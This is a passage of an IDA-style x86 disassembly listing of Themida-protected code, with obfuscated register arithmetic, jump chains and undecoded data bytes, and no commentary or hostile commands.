		dd 0FC9156F7h, 0E9FB290Eh, 8B56h, 50D831ADh, 21E9E089h
		dd 100008Bh, 0C3815AD3h, 2, 0FF65D5E9h,	0B35366FFh, 66DC30A8h
		dd 8BE3285Bh, 0C4812404h, 4, 0F65BDE88h, 885066DEh, 0E18851F4h
		dd 0CC88D1F6h, 540E9h, 5BDA2900h, 8BC2815Bh, 8165854Ch
		dd 606CCAEAh, 5AD601DDh, 0C68E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CB39:				; CODE XREF: Themida_:00598D45j
		pop	edx
		add	edx, 6EFC0BF5h
		pop	ebx
		push	esi
		mov	esi, 0C451AD2Fh
		add	edx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A5E81
; ---------------------------------------------------------------------------
		dw 0DE31h
		dd 8B2434FFh, 7BE9241Ch, 68FFFF98h, 643Dh, 0B9240C89h
		dd 4, 5759CA01h, 4BFh, 5FFA0100h, 2474FF52h, 48F5A04h
		dd 24248B24h, 0FF53DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CB91:				; CODE XREF: Themida_:0059DD10j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_598D7A
; ---------------------------------------------------------------------------
		dd 0F7816659h, 97660AA8h, 0FFAF18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CBA9:				; CODE XREF: Themida_:0059BC68j
		pop	dword ptr [esp]
		pop	esp
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59DB2A
; ---------------------------------------------------------------------------
		dd 0E907EEC1h, 5EFBh, 4BFh, 21DCE900h, 0B02D0000h, 5A03A065h
		dd 2A128E05h, 2434FF46h, 0DCE9505Ah
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59CBEB:				; CODE XREF: Themida_:005924F3j
		push	edx
		mov	edx, 1EF66B0Dh
		add	edx, 2C75495Eh
		xor	edx, 601C3D87h
		sub	edx, 0AC375B38h
		xor	ebx, edx
		jmp	loc_59C1B0
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 29000000h, 0C875AD1h, 24248B24h, 240C8966h, 0C047CB1h
		dd 5CA3E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CC26:				; CODE XREF: Themida_:005950D4j
		and	edi, ebp
		pop	ebp
		sub	edi, 0FFFFFFFFh
		jmp	loc_59F168
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 81h
		dd 0D0D2B2F1h, 3DC381EEh, 29150535h, 3DEB81CBh,	59150535h
		dd 5F9DCB81h, 0E9557DF6h, 1B1h
; ---------------------------------------------------------------------------


loc_59CC54:				; CODE XREF: Themida_:005A561Cj
		pop	eax
		push	16EAh
		mov	[esp], edx
		push	3417h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_598B53
; ---------------------------------------------------------------------------
		db 52h
		dd 0F68073B6h, 5AF32872h, 0FE01C380h, 0BBE380C3h, 68A3CB80h
		dd 5F0Dh, 53241489h, 36B368h, 7E02E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CC96:				; CODE XREF: Themida_:005A1013j
		push	0AC6h
		mov	[esp], ecx
		mov	ecx, 61BC3956h
		inc	ecx
		add	ecx, 42CE161Ah
		not	ecx
		sub	ecx, 45BC7844h
		push	34E7h
		mov	[esp], edx
		push	esi
		mov	esi, 561A7ECEh
		mov	edx, 3DF31F85h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 41D64703h
		add	edi, 5BC2053h
		sub	edi, 32F363C4h
		xor	edi, 5F6F612Ch
		add	edi, 3012D2F7h
		or	edx, edi
		pop	edi
		push	0
		sub	[esp], edx
		pop	edx
		push	eax
		mov	eax, 62053C6Bh
		inc	eax
		sub	eax, 75983267h
		shr	eax, 5
		sub	eax, 0D51607D6h
		or	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 37E8DD3Ch
		add	edx, ebx
		pop	ebx
		jmp	loc_5A3057
; ---------------------------------------------------------------------------
		db 68h
		dd 2EC8h, 53240C89h, 3CBBh, 0E9D98900h,	0FFFF8217h, 66D1F766h
		dd 6E96E981h, 0E9CF8966h, 0FFFFFE58h
; ---------------------------------------------------------------------------


loc_59CD44:				; CODE XREF: Themida_:00594E38j
		add	esp, 4
		push	eax
		mov	eax, 56652197h
		shl	eax, 6
		push	edx
		mov	edx, 8781EA2h
		push	ebx
		jmp	loc_59A2C9
; ---------------------------------------------------------------------------
		db 68h
		dd 48AB54E2h, 1C3815Bh,	57000000h, 3E9FE9h, 52665800h
		dd 32243C30h, 3C30243Ch, 8B09E924h, 5152FFFFh, 6C3D3668h
		dd 0F181595Ah, 8214824h, 7427F181h, 0CA897BF3h,	1C28159h
		dd 0C1000000h, 0E2D103EAh, 0F281DAF7h, 0FC6F6795h, 895AD031h
		dd 95E9E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CDB6:				; CODE XREF: Themida_:005A3065j
		mov	edx, [esp]
		push	ecx
		jmp	loc_5982C8
; ---------------------------------------------------------------------------


loc_59CDBF:				; CODE XREF: Themida_:005A6E0Ej
		mov	edx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 15F221EFh
		jmp	loc_5A01D5
; ---------------------------------------------------------------------------


loc_59CDD5:				; CODE XREF: Themida_:00596FCEj
		xchg	edi, esi
		xor	esi, 13511473h
		push	3B4Bh
		mov	[esp], eax
		mov	eax, 32E32EF2h
		jmp	loc_59DA4B
; ---------------------------------------------------------------------------
		db 81h
		dd 53C92434h, 815D534Fh, 4F53C9F5h, 241C8B53h, 8EE6E9h
		dd 5FBDBD00h, 0EB31FFFFh, 0E9DE295Dh, 0FFFF6421h, 81241C8Bh
		dd 4C4h, 0C186B800h, 0D801E131h, 5B2434FFh, 55EA68h, 24348900h
		dd 0E9505E54h, 302Fh, 0ECE9E901h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CE3F:				; CODE XREF: Themida_:0059F107j
		pop	esi
		jmp	loc_5A3F2A
; ---------------------------------------------------------------------------


loc_59CE45:				; CODE XREF: Themida_:00596E24j
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esp, 4
		push	677Fh
		mov	[esp], esi
		push	ebx
		push	24711473h
		jmp	loc_5956EC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0DCE98104h, 2975FF37h, 0DCC181F1h, 5E75FF37h, 4C1835Bh
		dd 4EC81h, 0C890000h, 2474FF24h, 48F5904h, 34FF5C24h, 240C8B24h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A0273
; ---------------------------------------------------------------------------


loc_59CEAC:				; CODE XREF: Themida_:0059D591j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		mov	ecx, 276A5244h
		push	ebp
		jmp	loc_59C216
; ---------------------------------------------------------------------------
		dw 5166h
		dd 0EF28ECB5h, 240C8B66h, 2C481h, 0EC830000h, 240C8904h
		dd 0CE88F988h, 81240C8Bh, 4C4h,	0F7305B00h, 0EC835A66h
		dd 24148904h, 5152CE88h, 4EC81h, 4890000h, 88FC8824h, 0CE8858E1h
		dd 0F3885359h, 5A5BD988h, 34FFF788h, 0C4835A24h, 1E98004h
		dd 0C7FECF86h, 3A68E9h,	4C38100h, 68000000h, 425Ch, 56240C89h
		dd 442EDCBEh, 0FFC6817Ah, 81FFFFFFh, 442ED9EEh,	481567Ah
		dd 1A2F2724h, 240C8B21h, 4C481h, 0B8500000h, 538D7E1Eh
		dd 4B06E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CF59:				; CODE XREF: Themida_:00599662j
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, esi
		push	dword ptr [esp]
		jmp	loc_5983F8
; ---------------------------------------------------------------------------
aRMvhj		db '¿R]MVhj:',0
		align 2
aI4EFxnfs8	db '‰4$¾e/FxNFé$8',0
		dd 242C8B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 4D4568h
		dd 243C8900h, 4BFh, 8BFD0100h, 0C483243Ch, 4ED8304h, 0E9242C87h
		dd 3383h, 0F696E680h, 80E6D0DEh, 0B5E99EC6h, 5100002Ch
		dd 63556DB9h, 81E1D161h, 4015C4C1h, 82E9810Bh, 0E98B05C0h
		dd 0FFFF91F7h
; ---------------------------------------------------------------------------


loc_59CFE0:				; CODE XREF: Themida_:005A6BABj
		push	dword ptr [esp]
		jmp	loc_593E02
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 34FF2434h, 91AE924h, 0C2810000h,	4, 0E9241487h
		dd 0FFFFB9F4h, 24048B66h, 639368h, 241C8900h, 0F0685B54h
		dd 89000077h, 83B9240Ch, 81730115h, 0A84289C9h,	6E1C12Fh
		dd 2ED5E9h
		db 0
; ---------------------------------------------------------------------------


loc_59D02D:				; CODE XREF: Themida_:0059CAB5j
		push	ebx
		jmp	loc_597F79
; ---------------------------------------------------------------------------
		db 51h
		dd 0F17D1CB9h, 59CD2916h, 0FFA463E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D041:				; CODE XREF: Themida_:0059244Cj
		pop	ecx
		jmp	loc_59E3E2
; ---------------------------------------------------------------------------
		db 58h
		dd 0D028DD04h, 0F1E9DD2Ch, 8100006Fh, 4EFh, 243C8700h
		dd 299E9h, 0E3E95900h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D067:				; CODE XREF: Themida_:0059A5B7j
		push	esi
		push	4BC5h
		mov	[esp], eax
		mov	eax, 38C0DBAh
		mov	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 1965A78h
		sub	ecx, 35E7519h
		add	ecx, 225D692Fh
		sub	ecx, 5C115A22h
		and	ecx, 34595E16h
		jmp	loc_5A4C58
; ---------------------------------------------------------------------------
		db 81h
		dd 0C8060DC6h, 240C8B45h, 8704C483h, 505C2434h,	0FF82F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D0B1:				; CODE XREF: Themida_:005A1789j
		add	bl, al
		jmp	loc_5A2994
; ---------------------------------------------------------------------------


loc_59D0B8:				; CODE XREF: Themida_:0059E37Bj
		xor	eax, 0F7F6814Bh
		and	esi, eax
		mov	eax, [esp]
		add	esp, 4
		or	esi, 4E0235B5h
		xor	esi, 4E0E35B1h
		jmp	loc_596970
; ---------------------------------------------------------------------------
		dw 555Eh
		dd 0FF6CA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D0DD:				; CODE XREF: Themida_:0059C1A3j
		pop	eax
		jmp	loc_5A303F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0C896624h, 0B60F6624h, 9C5166C8h,	0FF4E77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D0F9:				; CODE XREF: Themida_:00596367j
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_59E7FA
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_59C66C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 68D6F74Eh, 96Dh, 50243C89h, 281B18B8h, 749F0563h, 0BF5718E8h
		dd 281202FFh, 52DFF74Fh, 70E472BAh, 5AD7290Bh, 895FF831h
		dd 24048BC7h, 0E904C483h, 6CFBh, 0C18075B1h, 6E1C0FAh
		dd 5321E180h, 0EF807AB7h, 0BAB0508Dh, 0C05AB753h, 97E906E7h
		dd 81FFFFC9h, 715906C3h, 240C8B26h, 0E904EC83h,	0FFFFC308h
		dd 95E95651h, 5AFFFFDAh, 0FF78A4E9h, 30E952FFh,	5AFFFFB3h
		dd 4BB53h, 0DA010000h, 9987E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D1AA:				; CODE XREF: Themida_:005968C4j
		push	ecx
		jmp	loc_5A57AA
; ---------------------------------------------------------------------------
		dd 3059CE28h, 24148BF5h, 82D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_59D1BD:				; CODE XREF: Themida_:0059BC71j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 71E6783Eh
		xor	eax, 75D71717h
		xchg	eax, esi
		jmp	loc_59E4E8
; ---------------------------------------------------------------------------


loc_59D1E5:				; CODE XREF: Themida_:0059AB1Aj
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_5A4B48
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 4Dh
		dd 76E9E328h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D1FB:				; CODE XREF: Themida_:005A064Bj
		mov	edx, 204C7DB4h
		shl	edx, 5
		sub	edx, 945A89Eh
		mov	ebx, edx
		pop	edx
		xor	eax, ebx
		pop	ebx
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A3634
; ---------------------------------------------------------------------------


loc_59D227:				; CODE XREF: Themida_:005925ACj
		xor	ebp, eax
		pop	eax
		and	eax, ebp
		pop	ebp
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		push	29EEh
		mov	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	0A28h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		jmp	loc_595ECD
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 9Eh
		dd 29A932E4h, 0E9E95FFEh, 5CFFFF83h, 0FF5376E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D271:				; CODE XREF: Themida_:005A43C1j
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 5F743276h
		push	ebp
		sub	dword ptr [esp], 764B6807h
		pop	esi
		add	esi, 764B6807h
		pop	ebp
		dec	esi
		xor	esi, 557C0315h
		jmp	loc_599008
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 34890000h, 0E9E68924h, 0FFFFAC14h
		dd 2474FF53h, 2434FF04h, 5B2434FFh, 68E78957h, 24D5h, 0BE243489h
		dd 4, 53E9F701h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D2D3:				; CODE XREF: Themida_:0059DF02j
		add	ebp, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 80D5D6Eh
		jmp	loc_592C0D
; ---------------------------------------------------------------------------
		dw 0F2B8h
		dd 5177778h, 7D8271E0h,	13608225h, 6D47E90Dh, 895CFFFFh
		dd 0B8502434h, 2EDA1FE9h, 25E01B05h, 5F1FE9D1h,	0C281FFFFh
		dd 25CF15ACh, 0EA81C229h, 25CF15ACh, 0BF87E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D322:				; CODE XREF: Themida_:00594EAEj
		push	esi
		mov	esi, esp
		jmp	loc_599FBD
; ---------------------------------------------------------------------------
		dw 0ACBAh
		dd 0C1738124h, 0E28105EAh, 774E1C58h, 34F2814Ah, 0C158077Ch
		dd 0B85006E2h, 5157E7EDh, 0D5E9C229h, 5AFFFF79h, 3058E230h
		dd 0D9B9E9D1h, 685CFFFFh, 680Eh, 50243C89h, 0FFA57EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D369:				; CODE XREF: Themida_:0059E8C4j
		add	eax, ebx
		jmp	loc_598B82
; ---------------------------------------------------------------------------
		dd 2C8BEB89h, 4C48124h,	1000000h, 0BE565BDAh, 55147C7Fh
		dd 60ECB850h, 0E8C12C2Ah, 19703502h, 0B705470Fh, 0E97C0664h
		dd 0FFFFF663h, 0E924048Bh, 63FCh
; ---------------------------------------------------------------------------


loc_59D3A4:				; CODE XREF: Themida_:00596ABFj
		not	byte ptr [esp]
		pop	ecx
		neg	cl
		dec	cl
		jmp	loc_5A0C53
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0A9h
		dd 0BD00001Dh, 2C3514A2h, 8107E5C1h, 394A39EDh,	0F5814D3Ch
		dd 0DE5106C2h, 0E0E9EF01h, 89FFFFB9h, 6FB82404h, 0C11EA609h
		dd 10E906E0h, 0B2000094h, 68DAF648h, 5AF5h, 0E9240C89h
		dd 0FFFFFD64h
; ---------------------------------------------------------------------------


loc_59D3F4:				; CODE XREF: Themida_:005932D2j
		pop	edx
		push	eax
		push	625h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		push	ecx
		push	6BC47D9h
		pop	ecx
		jmp	loc_592CA3
; ---------------------------------------------------------------------------
		dd 2D51BE56h, 0F2292254h, 4EC815Eh, 89000000h, 0CDE92404h
		dd 83000092h, 148904ECh, 0E9C28824h, 4081h, 8324348Bh
		dd 486804C4h, 89000024h, 0E589242Ch, 0FF5AABE9h, 0BAFFh
		dd 0CAE90000h, 5E000054h, 10E9D801h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D45B:				; CODE XREF: Themida_:00593159j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A51F1
; ---------------------------------------------------------------------------


loc_59D46A:				; CODE XREF: Themida_:00599087j
		sub	ebp, 7A76640Fh
		sub	ebp, ecx
		add	ebp, 7A76640Fh
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5994D6
; ---------------------------------------------------------------------------
		dw 0C89h
aSL		db '$é',1Bh,'L',0
		align 2
aH99		db 'h99',0
		dw 8900h
		dd 0EC832434h, 241C8904h, 0A32AB68h, 0BF575B00h, 2A4A290Dh
		dd 685FFB09h, 0D9Eh, 57243489h,	5AB85053h, 89239576h, 0D9E958C3h
		dd 54FFFFC1h, 0B2BA5258h, 0F70B724Ch, 5EAC1DAh,	56B9E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D4DA:				; CODE XREF: Themida_:00591F71j
		xor	al, bl
		push	edx
		sub	esp, 4
		jmp	loc_593DA9
; ---------------------------------------------------------------------------


loc_59D4E5:				; CODE XREF: Themida_:0059587Aj
		sub	edi, ebp
		sub	edi, 50810F10h
		sub	edi, 52EA4197h
		pop	ebp
		jmp	loc_59FF73
; ---------------------------------------------------------------------------


loc_59D4F9:				; CODE XREF: Themida_:00593929j
		xor	dword ptr [esp], 6CF84FD5h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5980A0
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 2Fh
		dd 0F70F0F3Dh, 76BAE9D1h, 77FFFFFFh, 4A52E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D51E:				; CODE XREF: Themida_:0059B040j
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, 44920F6Bh
		xor	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_59473E
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 1C896602h, 4EC8124h,	89000000h, 0D188240Ch, 0F659CF88h
		dd 0E9FA88D7h, 62F7h
; ---------------------------------------------------------------------------


loc_59D574:				; CODE XREF: Themida_:005A698Bj
		add	esp, 4
		add	edi, 2D2755FDh
		add	edi, ebp
		sub	edi, 2D2755FDh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59CEAC
; ---------------------------------------------------------------------------


loc_59D596:				; CODE XREF: Themida_:005A3CEAj
		add	eax, esi
		pop	esi
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 138F0A79h
		jmp	loc_5A098D
; ---------------------------------------------------------------------------
		db 0F6h
		dd 8EAC0DAh, 8026EA80h,	0EA80F8CAh, 5AD1882Dh, 0C05BF930h
		dd 1AE906E9h, 8FFFFF9Ch, 248B2404h, 2434FF24h, 81240C8Bh
		dd 4C4h, 4EC8100h, 89000000h, 0DAE9241Ch, 80000044h, 0D4E99EC3h
		dd 0D3FFFF84h, 69E92424h, 0E9FFFF49h, 0FFFF4964h
; ---------------------------------------------------------------------------


loc_59D60C:				; CODE XREF: Themida_:005975F3j
		pop	ebx
		jmp	loc_597B6B
; ---------------------------------------------------------------------------
		dw 74B6h
		dd 6866CEFEh, 896646B9h, 0C9B3241Ch, 5B66DE20h,	0E901EE80h
		dd 5CAh, 15219BB9h, 0E9814965h,	3B8210F3h, 7C49F181h, 0BA524FBEh
		dd 99D29316h, 2F2BE981h, 0D1010259h, 0FF8132E9h, 2434FFFFh
		dd 592434FFh, 4C481h, 54570000h, 0F8E9535Fh, 0BEFFFFF6h
		dd 375B380Bh, 0FFFFC681h, 0F681FFFFh, 375B380Eh, 5E6DC281h
		dd 23E90437h, 8BFFFFB9h, 0E5E92424h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D68B:				; CODE XREF: Themida_:005A2C0Cj
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 31E5457Fh
		shr	eax, 1
		shr	eax, 7
		shl	eax, 3
		xor	eax, 18F2A2Ch
		jmp	loc_59BE20
; ---------------------------------------------------------------------------
		dd 0D1E9D8F7h, 68FFFF60h, 10C3h, 138E9h, 5BDE8900h, 895EF031h
		dd 0CB8958C1h, 5CB8E9h,	4EC8100h, 0E9000000h, 1E3Fh, 7B8BE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D6E2:				; CODE XREF: Themida_:00593CEDj
		sub	esp, 4
		jmp	loc_59EF42
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 7D7Ah, 0C181E189h, 4, 8704C183h,	248B240Ch
		dd 83D23124h, 3C8904ECh, 1BB3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D716:				; CODE XREF: Themida_:0059B87Cj
		and	esi, 25172C5Ah
		neg	esi
		xor	esi, 5AE64BA8h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_592619
; ---------------------------------------------------------------------------
		dw 9968h
		dd 0E92BE810h, 0FFFF4B8Bh
; ---------------------------------------------------------------------------


loc_59D738:				; CODE XREF: Themida_:0059AB2Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_5959F8
; ---------------------------------------------------------------------------
		dd 0EDE9DDF7h, 2800008Ah, 0DA2C5BF8h, 0FFEC15E9h, 0D3895DFFh
		dd 0F2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D765:				; CODE XREF: Themida_:0059267Cj
		pop	ebx
		xor	ecx, [edi+24h]
		push	edx
		jmp	loc_5A6451
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0E0A7F901h, 1C8BDD31h, 4C48324h, 5929BD55h, 71E94CC9h
		dd 59FFFF8Eh, 6492E957h, 0F3290000h, 2F9CC381h,	0EB8151BAh
		dd 7B822A36h, 0FFFCB2E9h, 2C683FFh, 31243433h, 34332434h
		dd 24248B24h, 0FFF138E9h, 8BC801FFh, 8951240Ch,	4C181E1h
		dd 83000000h, 0C8704C1h, 652FE924h, 0A2BFFFFFh,	313D0E53h
		dd 0D2E95FFBh
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D7DB:				; CODE XREF: Themida_:00592E42j
		mov	ebp, 3B774190h
		add	ebp, 0D261E523h
		add	eax, ebp
		jmp	loc_5982DB
; ---------------------------------------------------------------------------


loc_59D7ED:				; CODE XREF: Themida_:005960A9j
		push	ebp
		jmp	loc_59BFAD
; ---------------------------------------------------------------------------
		db 5Fh
		dd 417E9h, 24048900h, 0BD51C1B8h, 8E29E969h, 4B80000h
		dd 1000000h, 0FF5558C5h, 5D042474h, 5C24048Fh, 4A23E953h
		dd 0C890000h, 57E18924h, 7E6857BFh, 0D2CF816Fh,	0C1398163h
		dd 0D7F706E7h, 430BE781h, 9EE92360h, 5F000090h,	98C3E9h
		dd 240C3300h, 7104E95Ch, 34FFFFFFh, 0C5E95B24h,	0F7FFFFD6h
		dd 29B3E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D85E:				; CODE XREF: Themida_:0059714Dj
		mov	[esp], cx
		mov	cl, 2Dh
		push	eax
		mov	al, 6Eh
		sub	bl, al
		pop	eax
		sub	bl, cl
		push	ecx
		mov	cl, 11h
		sub	cl, 0A3h
		add	bl, cl
		pop	ecx
		jmp	loc_594250
; ---------------------------------------------------------------------------


loc_59D87A:				; CODE XREF: Themida_:00598D80j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_599636
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0D3h
		dd 4179F960h, 2003E9h, 0EA814A00h, 143D8E31h, 0C15AD089h
		dd 573504E0h, 974C9133h, 0D97D7F7h, 441C5114h, 7546E9h
		dd 5DEF0100h, 2F0CE9h, 0E9082C00h, 0FFFFD9AAh, 4055854h
		dd 2D000000h, 4, 5C240487h, 66241489h, 660A28BAh, 464CE281h
		dd 0CF28166h, 0C2816602h, 8166368Dh, 0E934FFEAh, 4315h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_592C21
; ---------------------------------------------------------------------------
		db 0BEh
		dd 55AF3EFAh, 473EE9h, 4C48100h, 80000000h, 0C8683DF1h
		dd 0E9000009h, 0FFFFB6CFh, 8159CB29h, 5B0D04EBh, 0E9D8899Ah
		dd 0FFFF4709h
; ---------------------------------------------------------------------------


loc_59D954:				; CODE XREF: Themida_:00593BBDj
		push	ebp
		mov	ebp, 681F0FF0h
		jmp	loc_5A1B2F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0CAE92434h, 58000004h, 6943E9h, 4EC8100h, 89000000h
		dd 0A1BB241Ch, 891ACF78h, 0F5315BDEh, 0E3E9815Eh, 8110632Ah
		dd 0E468D9E9h, 81E9011Ch, 0E468D9C1h, 0E3C1811Ch, 8B10632Ah
		dd 8956242Ch, 4C681E6h,	83000000h, 348704C6h, 0C1835C24h
		dd 240C3304h, 33240C31h, 8F5C240Ch, 248B2404h, 0AB0F6624h
		dd 0E99C2404h, 0FFFF45A4h, 24048B66h, 555A68h, 241C8900h
		dd 0FFE95EE9h, 0EFF281FFh, 81234F11h, 8C28EBC2h, 5AD1011Ch
		dd 2C18158h, 68000000h,	79F5h, 0E9240C89h, 8E5Dh, 89241489h
		dd 9500E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DA0A:				; CODE XREF: Themida_:00594BCBj
		push	edx
		mov	edx, 2F7503A5h
		xor	edx, 3C869917h
		add	ebx, edx
		jmp	loc_59FE1D
; ---------------------------------------------------------------------------


loc_59DA1D:				; CODE XREF: Themida_:0059E5F4j
		push	edx
		push	24h
		pop	edx
		jmp	loc_599B84
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 68550000h, 7583h, 0B8240489h, 2AC143AAh, 1E99BD55h
		dd 55E958F6h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DA4B:				; CODE XREF: Themida_:0059CDEAj
		xor	esi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5978F3
; ---------------------------------------------------------------------------
		db 5Fh,	66h, 68h
		dd 89663507h, 6656241Ch, 66643ABEh, 0A6D1E94Eh,	0BBBFFFFFh
		dd 29C53583h, 3AE95FF9h, 81FFFFFDh, 95071EEEh, 54DE6876h
		dd 2C890000h, 81C8E924h, 0DEF7FFFFh, 4366BD55h,	3CE93F44h
		dd 58FFFFD3h, 1CC0E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DAA2:				; CODE XREF: Themida_:00595F04j
		sub	ebp, 44C46D67h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A486C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 67A06804h, 28E90000h, 31000063h,	51D3F7D9h
		dd 8904EC83h, 5B59241Ch, 0BF57CA87h, 3F023DCCh,	575FFA31h
		dd 0FF6DCAE9h, 8332DFFh, 515E0B06h, 4B9h, 59C82900h, 357C68h
		dd 412BE900h, 21050000h, 351C517Dh, 7C2A64C5h, 7398BD55h
		dd 0E831413Eh, 0C51CE95Dh, 0E952FFFFh, 0FFFFD632h, 240C8B66h
		dd 4AA5E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DB2A:				; CODE XREF: Themida_:0059CBBFj
		mov	cx, [esp]
		push	ebp
		jmp	loc_5A6B5C
; ---------------------------------------------------------------------------


loc_59DB34:				; CODE XREF: Themida_:005A6C3Bj
		push	esp
		pop	ebx
		add	ebx, 4
		push	4C0Fh
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	7EBFh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
